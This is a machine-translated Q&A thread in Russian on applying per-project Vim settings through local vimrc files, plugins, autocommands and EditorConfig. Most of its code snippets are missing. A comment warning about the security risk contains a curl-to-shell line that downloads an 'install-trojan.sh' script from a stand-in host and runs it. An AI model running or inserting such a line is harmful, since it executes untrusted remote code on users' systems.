В моей работе мы используем стандарт ts
2; мое личное предпочтение - 4, и это то, что я использую для своих хобби-проектов, и этот другой проект, который мы унаследовали, имеет соглашение ts=8
.
Есть также некоторые другие настройки, которые я хочу установить для проекта (например, сворачивание). Использование этих настроек для типа файла или их автоматическое определение в зависимости от того, какой файл используется, не являются хорошими вариантами, поскольку я хочу соблюдать соглашения каждого проекта.
Можно ли заставить Vim использовать файл настроек, который применяется к проекту (все в дереве каталогов), не добавляя моделину ко всем файлам?
vimrc
filesystem
Мартин Турной
источник
источник
Ответы:
Есть несколько легких способов сделать это.
Проверьте наличие файла с заданным именем и укажите его источник.
Файл скрыт в примере, но это необязательно.
Локальные
.vimrc
файлы (не такие как плагин)Это похоже на 1. но файл будет называться ".vimrc".
Общее предложение сопровождать это заключается в использовании
что не позволяет
.vimrc
файлу выполнять потенциально опасные вещи, такие как запуск команд оболочки. Идея в том, что вы не захотите, чтобы vim читал.vimrc
файл, написанный кем-то другим, который делает что-то неприятное.Автокоманды, которые проверяют текущий путь
Это вариант, который я использую. Я не сильно меняюсь между различными проектами, так что YMMV, но если вы просто хотите сделать одну или две вещи, основанные на пути и оставить их в своем,
.vimrc
это приятно и просто.источник
Я использую localvimrc для этой цели.
Поместите
.lvimrc
с настройками вашего проекта в ваш проект, и эти настройки переопределят настройки в.vimrc
.По умолчанию вас спросят, хотите ли вы получить этот файл, например:
Это сделано для предотвращения поиска случайных (ненадежных) файлов vimrc. Если вас это раздражает, вы можете настроить белый список
.lvimrc
файлов с помощьюg:localvimrc_whitelist
:Или вы можете просто отключить запрос подтверждения с помощью
set g:localvimrc_ask = 0
. Это не рекомендуется, хотя.источник
Центральная конфигурация
Если вы можете централизованно настраивать определенные команды / локальные исключения, вы можете поместить такие autocmds в ваш
~/.vimrc
:Важно использовать
:setlocal
вместо:set
, а также:map <buffer> ...
и:command! -buffer ...
.С другой стороны, если вы хотите, чтобы конкретная конфигурация сохранялась вместе с проектом (и не хотите встраивать ее во все файлы с помощью modelines ), у вас есть следующие две опции:
Локальный конфиг со встроенным функционалом
Если вы всегда запускаете Vim из корневого каталога проекта, встроенный
разрешает чтение
.vimrc
файла из текущего каталога. Вы можете разместить:set ts=4 sw=4
команды там.Локальный конфиг через плагин
В противном случае вам нужна помощь плагина; на vim.org их несколько; Я могу порекомендовать плагин localrc , который даже разрешает локальную настройку файлового типа .
Обратите внимание, что чтение конфигурации из файловой системы имеет последствия для безопасности; Вы можете хотеть
:set secure
.источник
.exrc
они крайне ограничены: понятие проекта останавливается на текущем каталоге, то есть файлы в подкаталогах не принадлежат проекту.Существует проект Editor Config, который позволяет вам определять конфигурации на уровне проекта, такие как настройки табуляции, а также новые стили линий и другие вещи. Существует множество подключений для всех типов редакторов, включая vim . Это также позволяет вам определять настройки для разных типов файлов.
источник
Я написал это и добавил в свой .vimrc, чтобы позволить мне размещать файлы .vimsettings в проектах и подпроектах.
источник
system('curl http://example.com/install-trojan.sh | sh')
...Я хотел этого, поэтому я просто реализовал это локально. Я не так озабочен «выполнением случайного кода», но это может работать для простых нужд. При необходимости измените имена файлов.
Это
local.vimrc
на самом деле символическая ссылка на файл в моей обширной коллекции файлов vimrc для каждой компании, который я могу хранить в системе контроля версий в другом месте, что позволяет легко перенести всю мою конфигурацию на другие машины или если я посещаю компанию на месте или что-то в этом роде. , Можно использовать каскадные конфиги, но на практике эта функциональность мне не нужна. Я также подключаюсь, F8чтобы открыть этот найденный файл и мой "главный".vimrc
в новой вкладке ...Внутри этих локальных конфигов, так как они анализируются для каждого открытого файла, обязательно установите для вас отображения и настройки в локальный буфер. Например
источник